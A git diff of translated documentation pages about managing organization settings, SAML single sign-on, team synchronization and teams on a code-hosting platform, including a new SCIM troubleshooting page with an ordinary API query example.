organization](/assets/images/help/settings/actions-workflow-permissions-organization.png) +1. Click **Save** to apply the settings. {% endif %} diff --git a/translations/zh-CN/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md b/translations/zh-CN/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md index 10250a043f..67a4c82971 100644 --- a/translations/zh-CN/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md +++ b/translations/zh-CN/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md @@ -1,6 +1,6 @@ --- -title: 管理组织中仓库的默认分支名称 -intro: You can set the default branch name for repositories that members create in your organization. +title: Managing the default branch name for repositories in your organization +intro: 'You can set the default branch name for repositories that members create in your organization on {% data variables.product.product_location %}.' redirect_from: - /github/setting-up-and-managing-organizations-and-teams/managing-the-default-branch-name-for-repositories-in-your-organization permissions: Organization owners can manage the default branch name for new repositories in the organization. @@ -12,26 +12,29 @@ versions: topics: - Organizations - Teams -shortTitle: 管理默认分支名称 +shortTitle: Manage default branch name --- -## About the default branch name +## About management of the default branch name -当组织成员在组织中创建一个新仓库时，该仓库将包含一个分支，它就是默认分支。 When a member of your organization creates a new repository, {% data variables.product.prodname_dotcom %} will create a single branch and set it as the repository's default branch. {% data variables.product.prodname_dotcom %} currently names the default branch `master`, but you can set the default branch to be named anything that makes sense for your development environment. 有关默认分支的更多信息，请参阅“[关于分支](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)”。 +When a member of your organization creates a new repository in your organization, the repository contains one branch, which is the default branch. You can change the name that {% data variables.product.product_name %} uses for the default branch in new repositories that members of your organization create. For more information about the default branch, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)." -{% data reusables.branches.set-default-branch %} +{% data reusables.branches.change-default-branch %} -如果企业所有者为您的企业强制实施了默认分支名称策略，您将无法为组织设置默认分支名称。 但是，您可以更改单个仓库的默认分支。 更多信息请参阅 {% ifversion fpt %}“[在企业中实施仓库管理策略](/enterprise-cloud@latest/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)”{% else %}“[在企业中实施仓库管理策略](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)”{% endif %} 和“[更改默认分支](/github/administering-a-repository/changing-the-default-branch)”。 +If an enterprise owner has enforced a policy for the default branch name for your enterprise, you cannot set a default branch name for your organization. Instead, you can change the default branch for individual repositories. For more information, see {% ifversion fpt %}"[Enforcing repository management policies in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)"{% else %}"[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)"{% endif %} and "[Changing the default branch](/github/administering-a-repository/changing-the-default-branch)." -## 设置默认分支名称 +## Setting the default branch name {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.repository-defaults %} -3. 在“Repository default branch（仓库默认分支）”下，单击 **Change default branch name now（立即更改默认分支名称）**。 ![覆盖按钮](/assets/images/help/organizations/repo-default-name-button.png) -4. 键入要用于新分支的默认名称。 ![输入默认名称的文本框](/assets/images/help/organizations/repo-default-name-text.png) -5. 单击 **Update（更新）**。 ![更新按钮](/assets/images/help/organizations/repo-default-name-update.png) +3. Under "Repository default branch", click **Change default branch name now**. + ![Override button](/assets/images/help/organizations/repo-default-name-button.png) +4. Type the default name that you would like to use for new branches. + ![Text box for entering default name](/assets/images/help/organizations/repo-default-name-text.png) +5. Click **Update**. + ![Update button](/assets/images/help/organizations/repo-default-name-update.png) -## 延伸阅读 +## Further reading -- /github/setting-up-and-managing-your-github-user-account/managing-the-default-branch-name-for-your-repositories +- "[Managing the default branch name for your repositories](/github/setting-up-and-managing-your-github-user-account/managing-the-default-branch-name-for-your-repositories)" diff --git a/translations/zh-CN/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md b/translations/zh-CN/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md index bf91bda9e0..841dca73ea 100644 --- a/translations/zh-CN/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md +++ b/translations/zh-CN/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md @@ -1,6 +1,6 @@ --- -title: 管理组织的复刻政策 -intro: '您可以允许或阻止对组织拥有的任何私有{% ifversion fpt or ghes or ghae or ghec %} 和内部{% endif %} 仓库进行复刻。' +title: Managing the forking policy for your organization +intro: 'You can allow or prevent the forking of any private{% ifversion ghes or ghae or ghec %} and internal{% endif %} repositories owned by your organization.' redirect_from: - /articles/allowing-people-to-fork-private-repositories-in-your-organization - /github/setting-up-and-managing-organizations-and-teams/allowing-people-to-fork-private-repositories-in-your-organization @@ -14,22 +14,25 @@ versions: topics: - Organizations - Teams -shortTitle: 管理复刻策略 +shortTitle: Manage forking policy --- -默认情况下，新的组织被配置为禁止复刻私有{% ifversion fpt or ghes or ghae or ghec %}和内部{% endif %}仓库。 +By default, new organizations are configured to disallow the forking of private{% ifversion ghes or ghec or ghae %} and internal{% endif %} repositories. -如果您在组织级别上允许复刻私有{% ifversion fpt or ghes or ghae or ghec %}和内部{% endif %}仓库，则还可以配置复刻特定{% ifversion fpt or ghes or ghae or ghec %}或内部{% endif %}仓库的能力。 更多信息请参阅“[管理仓库的复刻政策](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)”。 - -{% data reusables.organizations.internal-repos-enterprise %} +If you allow forking of private{% ifversion ghes or ghec or ghae %} and internal{% endif %} repositories at the organization level, you can also configure the ability to fork a specific private{% ifversion ghes or ghec or ghae %} or internal{% endif %} repository. For more information, see "[Managing the forking policy for your repository](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)." {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} -{% data reusables.organizations.member-privileges %} -5. 在“Repository forking（仓库复刻）”下，选择 **Allow forking of private repositories（允许复刻私有仓库）**或 **Allow forking of private and internal repositories（允许复刻私有和内部仓库）**。 ![允许或禁止组织复刻的复选框](/assets/images/help/repository/allow-disable-forking-organization.png) -6. 单击 **Save（保存）**。 +1. Under "Repository forking", select **Allow forking of private {% ifversion ghec or ghes or ghae %}and internal {% endif %}repositories**. -## 延伸阅读 + {%- ifversion fpt %} + ![Checkbox to allow or disallow forking in the organization](/assets/images/help/repository/allow-disable-forking-fpt.png) + {%- elsif ghes or ghec or ghae %} + ![Checkbox to allow or disallow forking in the organization](/assets/images/help/repository/allow-disable-forking-organization.png) + {%- endif %} +6. Click **Save**. -- "[关于复刻](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" +## Further reading + +- "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" diff --git a/translations/zh-CN/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md b/translations/zh-CN/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md index ff08eae53b..7f1c181bd9 100644 --- a/translations/zh-CN/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md +++ b/translations/zh-CN/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md @@ -1,6 +1,6 @@ --- -title: 限制在组织中创建仓库 -intro: 为保护组织的数据，您可以配置在组织中创建仓库的权限。 +title: Restricting repository creation in your organization +intro: 'To protect your organization''s data, you can configure permissions for creating repositories in your organization.' redirect_from: - /articles/restricting-repository-creation-in-your-organization - /github/setting-up-and-managing-organizations-and-teams/restricting-repository-creation-in-your-organization @@ -12,25 +12,29 @@ versions: topics: - Organizations - Teams -shortTitle: 限制仓库创建 +shortTitle: Restrict repository creation --- -您可以选择成员是否可以在组织中创建仓库。 如果允许成员创建仓库，您可以选择允许创建哪些类型的仓库。{% ifversion fpt or ghec %} 若只允许成员创建私有仓库，您的组织必须使用 {% data variables.product.prodname_ghe_cloud %}。{% endif %}更多信息请参阅“[关于仓库](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)”。 +You can choose whether members can create repositories in your organization. If you allow members to create repositories, you can choose which types of repositories members can create.{% ifversion fpt or ghec %} To allow members to create private repositories only, your organization must use {% data variables.product.prodname_ghe_cloud %}.{% endif %}{% ifversion fpt %} For more information, see "[About repositories](/enterprise-cloud@latest/repositories/creating-and-managing-repositories/about-repositories)" in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %}. -组织所有者始终可以创建任何类型的仓库。 - -{% ifversion fpt or ghec %}企业所有者{% else %}网站管理员{% endif %} 可以限制用于组织仓库创建策略的选项。 更多信息请参阅“[限制在企业中创建仓库](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)。” +Organization owners can always create any type of repository. +{% ifversion ghec or ghae or ghes %} +{% ifversion ghec or ghae %}Enterprise owners{% elsif ghes %}Site administrators{% endif %} can restrict the options you have available for your organization's repository creation policy.{% ifversion ghec or ghes or ghae %} For more information, see "[Restricting repository creation in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)."{% endif %}{% endif %} {% warning %} -**警告**：此设置仅限制在仓库创建时可用的可见性选项，而不会限制以后更改仓库可见性的能力。 有关限制更改现有仓库可见性的更多信息，请参阅“[限制组织的仓库可见性更改](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)”。 +**Warning**: This setting only restricts the visibility options available when repositories are created and does not restrict the ability to change repository visibility at a later time. For more information about restricting changes to existing repositories' visibilities, see "[Restricting repository visibility changes in your organization](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)." {% endwarning %} -{% data reusables.organizations.internal-repos-enterprise %} - {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.member-privileges %} -5. 在“Repository creation（仓库创建）”下，选择一个或多个选项。 ![仓库创建选项](/assets/images/help/organizations/repo-creation-perms-radio-buttons.png) -6. 单击 **Save（保存）**。 +5. Under "Repository creation", select one or more options. + + {%- ifversion ghes or ghec or ghae %} + ![Repository creation options](/assets/images/help/organizations/repo-creation-perms-radio-buttons.png) + {%- elsif fpt %} + ![Repository creation options](/assets/images/help/organizations/repo-creation-perms-radio-buttons-fpt.png) + {%- endif %} +6. Click **Save**. diff --git a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md index 8ba58b2cb8..420131782e 100644 --- a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md +++ b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md @@ -1,6 +1,6 @@ --- -title: 管理组织的 SAML 单点登录 -intro: 组织管理员可以使用 SAML 单点登录 (SSO) 管理组织成员的身份以及对组织的访问。 +title: Managing SAML single sign-on for your organization +intro: Organization administrators can manage organization members' identities and access to the organization with SAML single sign-on (SSO). redirect_from: - /articles/managing-member-identity-and-access-in-your-organization-with-saml-single-sign-on/ - /articles/managing-saml-single-sign-on-for-your-organization @@ -22,6 +22,7 @@ children: - /downloading-your-organizations-saml-single-sign-on-recovery-codes - /managing-team-synchronization-for-your-organization - /accessing-your-organization-if-your-identity-provider-is-unavailable -shortTitle: 管理 SAML 单点登录 + - /troubleshooting-identity-and-access-management +shortTitle: Manage SAML single sign-on --- diff --git a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md index 97f23ee17a..c963c89bb7 100644 --- a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md +++ b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md @@ -1,6 +1,6 @@ --- -title: 管理组织的团队同步 -intro: '您可以在身份提供程序 (IdP) 与 {% data variables.product.product_name %} 上的组织之间启用和禁用团队同步。' +title: Managing team synchronization for your organization +intro: 'You can enable and disable team synchronization between your identity provider (IdP) and your organization on {% data variables.product.product_name %}.' product: '{% data reusables.gated-features.team-synchronization %}' redirect_from: - /articles/synchronizing-teams-between-your-identity-provider-and-github @@ -15,16 +15,14 @@ versions: topics: - Organizations - Teams -shortTitle: 管理团队同步 +shortTitle: Manage team synchronization --- {% data reusables.enterprise-accounts.emu-scim-note %} -{% data reusables.gated-features.okta-team-sync %} +## About team synchronization -## 关于团队同步 - -您可以在 IdP 与 {% data variables.product.product_name %} 之间启用团队同步，以允许组织所有者和团队维护员将组织中的团队与 IdP 组连接起来。 +You can enable team synchronization between your IdP and {% data variables.product.product_name %} to allow organization owners and team maintainers to connect teams in your organization with IdP groups. {% data reusables.identity-and-permissions.about-team-sync %} @@ -32,25 +30,25 @@ shortTitle: 管理团队同步 {% data reusables.identity-and-permissions.sync-team-with-idp-group %} -您还可以为企业帐户拥有的组织启用团队同步。 更多信息请参阅“[管理企业中组织的团队同步](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)”。 +You can also enable team synchronization for organizations owned by an enterprise account. For more information, see "[Managing team synchronization for organizations in your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)." {% data reusables.enterprise-accounts.team-sync-override %} {% data reusables.identity-and-permissions.team-sync-usage-limits %} -## 启用团队同步 +## Enabling team synchronization -启用团队同步的步骤取决于要使用的 IdP。 有些启用团队同步的基本要求适用于每个 IdP。 每个 IdP 都有额外的基本要求。 +The steps to enable team synchronization depend on the IdP you want to use. There are prerequisites to enable team synchronization that apply to every IdP. Each individual IdP has additional prerequisites. -### 基本要求 +### Prerequisites {% data reusables.identity-and-permissions.team-sync-required-permissions %} -您必须为您的组织和支持的 IdP 启用 SAML 单点登录。 更多信息请参阅“[对组织实施 SAML 单点登录](/articles/enforcing-saml-single-sign-on-for-your-organization)”。 +You must enable SAML single sign-on for your organization and your supported IdP. For more information, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)." -You must have a linked SAML identity. To create a linked identity, you must authenticate to your organization using SAML SSO and the supported IdP at least once. 更多信息请参阅“[使用 SAML 单点登录进行身份验证](/articles/authenticating-with-saml-single-sign-on)”。 +You must have a linked SAML identity. To create a linked identity, you must authenticate to your organization using SAML SSO and the supported IdP at least once. For more information, see "[Authenticating with SAML single sign-on](/articles/authenticating-with-saml-single-sign-on)." -### 为 Azure AD 启用团队同步 +### Enabling team synchronization for Azure AD {% data reusables.identity-and-permissions.team-sync-azure-permissions %} @@ -60,9 +58,18 @@ You must have a linked SAML identity. To create a linked identity, you must auth {% data reusables.identity-and-permissions.team-sync-confirm-saml %} {% data reusables.identity-and-permissions.enable-team-sync-azure %} {% data reusables.identity-and-permissions.team-sync-confirm %} -6. 查看要与组织连接的身份提供程序租户信息，然后单击 **Approve（批准）**。 ![启用特定 IdP 租户团队同步且含有批准或取消请求选项的待处理请求](/assets/images/help/teams/approve-team-synchronization.png) +6. Review the identity provider tenant information you want to connect to your organization, then click **Approve**. + ![Pending request to enable team synchronization to a specific IdP tenant with option to approve or cancel request](/assets/images/help/teams/approve-team-synchronization.png) -### 为 Okta 启用团队同步 +### Enabling team synchronization for Okta + +Okta team synchronization requires that SAML and SCIM with Okta have already been set up for your organization. + +To avoid potential team synchronization errors with Okta, we recommend that you confirm that SCIM linked identities are correctly set up for all organization members who are members of your chosen Okta groups, before enabling team synchronization on {% data variables.product.prodname_dotcom %}. + +If an organization member does not have a linked SCIM identity, then team synchronization will not work as expected and the user may not be added or removed from teams as expected. If any of these users are missing a SCIM linked identity, you will need to reprovision them. + +For help on provisioning users that have missing a missing SCIM linked identity, see "[Troubleshooting identity and access management](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management)." {% data reusables.identity-and-permissions.team-sync-okta-requirements %} @@ -70,15 +77,20 @@ You must have a linked SAML identity. To create a linked identity, you must auth {% data reusables.profile.org_settings %} {% data reusables.organizations.security %} {% data reusables.identity-and-permissions.team-sync-confirm-saml %} +{% data reusables.identity-and-permissions.team-sync-confirm-scim %} +1. Consider enforcing SAML in your organization to ensure that organization members link their SAML and SCIM identities. For more information, see "[Enforcing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)." {% data reusables.identity-and-permissions.enable-team-sync-okta %} -7. 在组织名称下，输入有效的 SSWS 令牌和 Okta 实例的 URL。 ![启用团队同步 Okta 组织表单](/assets/images/help/teams/confirm-team-synchronization-okta-organization.png) -6. 查看要与组织连接的身份提供程序租户信息，然后单击 **Create（创建）**。 ![启用团队同步创建按钮](/assets/images/help/teams/confirm-team-synchronization-okta.png) +7. Under your organization's name, type a valid SSWS token and the URL to your Okta instance. + ![Enable team synchronization Okta organization form](/assets/images/help/teams/confirm-team-synchronization-okta-organization.png) +6. Review the identity provider tenant information you want to connect to your organization, then click **Create**. + ![Enable team synchronization create button](/assets/images/help/teams/confirm-team-synchronization-okta.png) -## 禁用团队同步 +## Disabling team synchronization {% data reusables.identity-and-permissions.team-sync-disable %} {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.security %} -5. 在“Team synchronization（团队同步）”下，单击 **Disable team synchronization（禁用团队同步）**。 ![禁用团队同步](/assets/images/help/teams/disable-team-synchronization.png) +5. Under "Team synchronization", click **Disable team synchronization**. + ![Disable team synchronization](/assets/images/help/teams/disable-team-synchronization.png) diff --git a/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md new file mode 100644 index 0000000000..dffddfadae --- /dev/null +++ b/translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md @@ -0,0 +1,87 @@ +--- +title: Troubleshooting identity and access management +intro: 'Review and resolve common troubleshooting errors for managing your organization''s SAML SSO, team synchronization, or identity provider (IdP) connection.' +product: '{% data reusables.gated-features.saml-sso %}' +versions: + fpt: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Troubleshooting access +--- + +## Some users are not provisioned or deprovisioned by SCIM + +When you encounter provisioning issues with users, we recommend that you check if the users are missing SCIM metadata. If an organization member has missing SCIM metadata, then you can re-provision SCIM for the user manually through your IdP. + +### Auditing users for missing SCIM metadata + +If you suspect or notice that any users are not provisioned or deprovisioned as expected, we recommend that you audit all users in your organization. + +To check whether users have a SCIM identity (SCIM metadata) in their external identity, you can review SCIM metadata for one organization member at a time on {% data variables.product.prodname_dotcom %} or you can programatically check all organization members using the {% data variables.product.prodname_dotcom %} API. + +#### Auditing organization members on {% data variables.product.prodname_dotcom %} + +As an organization owner, to confirm that SCIM metadata exists for a single organization member, visit this URL, replacing `` and ``: + +> `https://github.com/orgs//people//sso` + +If the user's external identity includes SCIM metadata, the organization owner should see a SCIM identity section on that page. If their external identity does not include any SCIM metadata, the SCIM Identity section will not exist. + +#### Auditing organization members through the {% data variables.product.prodname_dotcom %} API + +As an organization owner, you can also query the SCIM REST API or GraphQL to list all SCIM provisioned identities in an organization. + +#### Using the REST API + +The SCIM REST API will only return data for users that have SCIM metadata populated under their external identities. We recommend you compare a list of SCIM provisioned identities with a list of all your organization members. + +For more information, see: + - "[List SCIM provisioned identities](/rest/reference/scim#list-scim-provisioned-identities)" + - "[List organization members](/rest/reference/orgs#list-organization-members)" + +#### Using GraphQL + +This GraphQL query shows you the SAML `NameId`, the SCIM `UserName` and the {% data variables.product.prodname_dotcom %} username (`login`) for each user in the organization. To use this query, replace `ORG` with your organization name. + +```graphql +{ + organization(login: "ORG") { + samlIdentityProvider { + ssoUrl + externalIdentities(first: 100) { + edges { + node { + samlIdentity { + nameId + } + scimIdentity { + username + } + user { + login + } + } + } + } + } + } +} +``` + +```shell +curl -X POST -H "Authorization: Bearer " -H "Content-Type: application/json" -d '{ "query": "{ organization(login: \"ORG\") { samlIdentityProvider { externalIdentities(first: 100) { pageInfo { endCursor startCursor hasNextPage } edges { cursor node { samlIdentity { nameId } scimIdentity {username} user { login } } } } } } }" }' https://api.github.com/graphql +``` + +For more information on using the GraphQL API, see: + - "[GraphQL guides](/graphql/guides)" + - "[GraphQL explorer](/graphql/overview/explorer)" + +### Re-provisioning SCIM for users through your identity provider + +You can re-provision SCIM for users manually through your IdP. For example, to resolve provisioning errors, in the Okta admin portal, you can unassign and reassign users to the {% data variables.product.prodname_dotcom %} app. This should trigger Okta to make an API call to populate the SCIM metadata for these users on {% data variables.product.prodname_dotcom %}. For more information, see "[Unassign users from applications](https://help.okta.com/en/prod/Content/Topics/users-groups-profiles/usgp-unassign-apps.htm)" or "[Assign users to applications](https://help.okta.com/en/prod/Content/Topics/users-groups-profiles/usgp-assign-apps.htm)" in the Okta documentation. + +To confirm that a user's SCIM identity is created, we recommend testing this process with a single organization member whom you have confirmed doesn't have a SCIM external identity. After manually updating the users in your IdP, you can check if the user's SCIM identity was created using the SCIM API or on {% data variables.product.prodname_dotcom %}. For more information, see "[Auditing users for missing SCIM metadata](#auditing-users-for-missing-scim-metadata)" or the REST API endpoint "[Get SCIM provisioning information for a user](/rest/reference/scim#get-scim-provisioning-information-for-a-user)." + +If re-provisioning SCIM for users doesn't help, please contact {% data variables.product.prodname_dotcom %} Support. \ No newline at end of file diff --git a/translations/zh-CN/content/organizations/organizing-members-into-teams/about-teams.md b/translations/zh-CN/content/organizations/organizing-members-into-teams/about-teams.md index bf58765e2e..052dc5b6af 100644 --- a/translations/zh-CN/content/organizations/organizing-members-into-teams/about-teams.md +++ b/translations/zh-CN/content/organizations/organizing-members-into-teams/about-teams.md @@ -1,6 +1,6 @@ --- -title: 关于团队 -intro: 团队是通过级联访问权限和提及来反映公司或群组结构的组织成员组。 +title: About teams +intro: Teams are groups of organization members that reflect your company or group's structure with cascading access permissions and mentions. redirect_from: - /articles/about-teams - /github/setting-up-and-managing-organizations-and-teams/about-teams @@ -14,69 +14,69 @@ topics: - Teams --- -![组织中的团队列表](/assets/images/help/teams/org-list-of-teams.png) +![List of teams in an organization](/assets/images/help/teams/org-list-of-teams.png) -组织所有者和团队维护员可向团队授予仓库的管理员、读取或写入权限。 组织成员可通过提及团队的名称向整个团队发送通知。 组织成员也可通过向该团队申请审查来发送通知给整个团队。 组织成员可以向能够读取其中打开了拉取请求的仓库的特定团队申请审查。 可在 CODEOWNERS 文件中将团队指定为某些代码类型或区域的所有者。 +Organization owners and team maintainers can give teams admin, read, or write access to organization repositories. Organization members can send a notification to an entire team by mentioning the team's name. Organization members can also send a notification to an entire team by requesting a review from that team. Organization members can request reviews from specific teams with read access to the repository where the pull request is opened. Teams can be designated as owners of certain types or areas of code in a CODEOWNERS file. -更多信息请参阅： -- "[管理团队对组织仓库的访问](/articles/managing-team-access-to-an-organization-repository)" -- "[提及人员和团队](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)" -- "[关于代码所有者](/articles/about-code-owners/)" +For more information, see: +- "[Managing team access to an organization repository](/articles/managing-team-access-to-an-organization-repository)" +- "[Mentioning people and teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)" +- "[About code owners](/articles/about-code-owners/)" -![团队提及图像](/assets/images/help/teams/team-mention.png) +![Image of a team mention](/assets/images/help/teams/team-mention.png) {% ifversion ghes %} -您也可以使用 LDAP 同步根据建立的 LDAP 组同步 {% data variables.product.product_location %} 团队成员和团队角色。 这可让您从 LDAP 服务器为用户建立基于角色的访问控制，而无需在 {% data variables.product.product_location %} 中手动创建。 更多信息请参阅“[启用 LDAP 同步](/enterprise/{{ page.version }}/admin/guides/user-management/using-ldap#enabling-ldap-sync)”。 +You can also use LDAP Sync to synchronize {% data variables.product.product_location %} team members and team roles against your established LDAP groups. This lets you establish role-based access control for users from your LDAP server instead of manually within {% data variables.product.product_location %}. For more information, see "[Enabling LDAP Sync](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync)." {% endif %} {% data reusables.organizations.team-synchronization %} -## 团队可见性 +## Team visibility {% data reusables.organizations.types-of-team-visibility %} -您可以在个人仪表板上查看您所属的所有团队。 更多信息请参阅“[关于个人仪表板](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard#finding-your-top-repositories-and-teams)”。 +You can view all the teams you belong to on your personal dashboard. For more information, see "[About your personal dashboard](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard#finding-your-top-repositories-and-teams)." -## 团队页面 +## Team pages -每个团队都在组织中有自己的页面。 在团队的页面上，您可以查看团队成员、子团队和团队的仓库。 组织所有者和团队维护员可从团队页面访问团队设置以及更新团队的说明和头像。 +Each team has its own page within an organization. On a team's page, you can view team members, child teams, and the team's repositories. Organization owners and team maintainers can access team settings and update the team's description and profile picture from the team's page. -组织成员可以创建和参与团队讨论。 更多信息请参阅“[关于团队讨论](/organizations/collaborating-with-your-team/about-team-discussions)”。 +Organization members can create and participate in discussions with the team. For more information, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)." -![列出团队成员和讨论的团队页面](/assets/images/help/organizations/team-page-discussions-tab.png) +![Team page listing team members and discussions](/assets/images/help/organizations/team-page-discussions-tab.png) -## 嵌套团队 +## Nested teams -您可以在 {% data variables.product.product_name %} 组织中通过多级嵌套团队反映您的组或公司的层级。 一个父团队可有多个子团队，而每个子团队只能有一个父团队。 您无法嵌套机密团队。 +You can reflect your group or company's hierarchy within your {% data variables.product.product_name %} organization with multiple levels of nested teams. A parent team can have multiple child teams, while each child team only has one parent team. You cannot nest secret teams. -子团队继承父团队的访问权限，简化大组的权限管理。 当父团队被 @提及时，子团队的成员也会收到通知，因此简化与多组人员的沟通。 +Child teams inherit the parent's access permissions, simplifying permissions management for large groups. Members of child teams also receive notifications when the parent team is @mentioned, simplifying communication with multiple groups of people. -例如，如果您的团队结构是“员工 > 工程 > 应用工程 > 身份”，则向“工程”授予对仓库的写入权限意味着“应用工程”和“身份”也会获得该访问权限。 如果您 @提及“身份”团队或组织层次结构底部的任何团队，则它们是唯一会收到通知的团队。 +For example, if your team structure is Employees > Engineering > Application Engineering > Identity, granting Engineering write access to a repository means Application Engineering and Identity also get that access. If you @mention the Identity Team or any team at the bottom of the organization hierarchy, they're the only ones who will receive a notification. -![包含父团队和子团队的团队页面](/assets/images/help/teams/nested-teams-eng-example.png) +![Teams page with a parent team and child teams](/assets/images/help/teams/nested-teams-eng-example.png) -要轻松了解谁共享父团队的权限和提及，可以在父团队页面的 Members（成员）选项卡上查看其子团队的所有成员。 子团队的成员不是父团队的直接成员。 +To easily understand who shares a parent team's permissions and mentions, you can see all of the members of a parent team's child teams on the Members tab of the parent team's page. Members of a child team are not direct members of the parent team. -![包含子团队所有成员的父团队页面](/assets/images/help/teams/team-and-subteam-members.png) +![Parent team page with all members of child teams](/assets/images/help/teams/team-and-subteam-members.png) -在创建团队时您可以选择父团队，或者以后在组织的层次结构中移动团队。 更多信息请参阅“[在组织的层次结构中移动团队](/articles/moving-a-team-in-your-organization-s-hierarchy)”。 +You can choose a parent when you create the team, or you can move a team in your organization's hierarchy later. For more information see, "[Moving a team in your organization’s hierarchy](/articles/moving-a-team-in-your-organization-s-hierarchy)." {% data reusables.enterprise_user_management.ldap-sync-nested-teams %} -## 准备在组织中嵌套团队 +## Preparing to nest teams in your organization -如果您的组织已经有团队，则在其上面或下面嵌套团队之前，应审计每个团队的仓库访问权限。 也应考虑要为组织实施的新结构。 +If your organization already has existing teams, you should audit each team's repository access permissions before you nest teams above or below it. You should also consider the new structure you'd like to implement for your organization. -在团队层次结构的顶部，应向父团队授予对父团队及其子团队每个成员都安全的仓库访问权限。 随着在向层次结构底部的移动，可以更细致地向子团队成员授予访问敏感仓库的其他权限。 +At the top of the team hierarchy, you should give parent teams repository access permissions that are safe for every member of the parent team and its child teams. As you move toward the bottom of the hierarchy, you can grant child teams additional, more granular access to more sensitive repositories. -1. 从现有团队删除所有成员 -2. 审计并调整每个团队的仓库访问权限，并为每个团队指定一个父团队 -3. 创建需要的任何新团队，为每个新团队选择一个父团队，并向他们授予仓库访问权限 -4. 直接向团队添加人员 +1. Remove all members from existing teams +2. Audit and adjust each team's repository access permissions and give each team a parent +3. Create any new teams you'd like to, choose a parent for each new team, and give them repository access +4. Add people directly to teams -## 延伸阅读 +## Further reading -- "[创建团队](/articles/creating-a-team)" -- "[向团队添加组织成员](/articles/adding-organization-members-to-a-team)" +- "[Creating a team](/articles/creating-a-team)" +- "[Adding organization members to a team](/articles/adding-organization-members-to-a-team)" diff --git a/translations/zh-CN/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md b/translations/zh-CN/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md index b47ca54169..1430d9a82c 100644 --- a/translations/zh-CN/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md +++ b/translations/zh-CN/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md @@ -27,28 +27,28 @@ To reduce noise for your team and clarify individual responsibility for pull req ## About team notifications -When you choose to only notify requested team members, you disable sending notifications to the entire team when the team is requested to review a pull request if a specific member of that team is also requested for review. This is especially useful when a repository is configured with teams as code owners, but contributors to the repository often know a specific individual that would be the correct reviewer for their pull request. 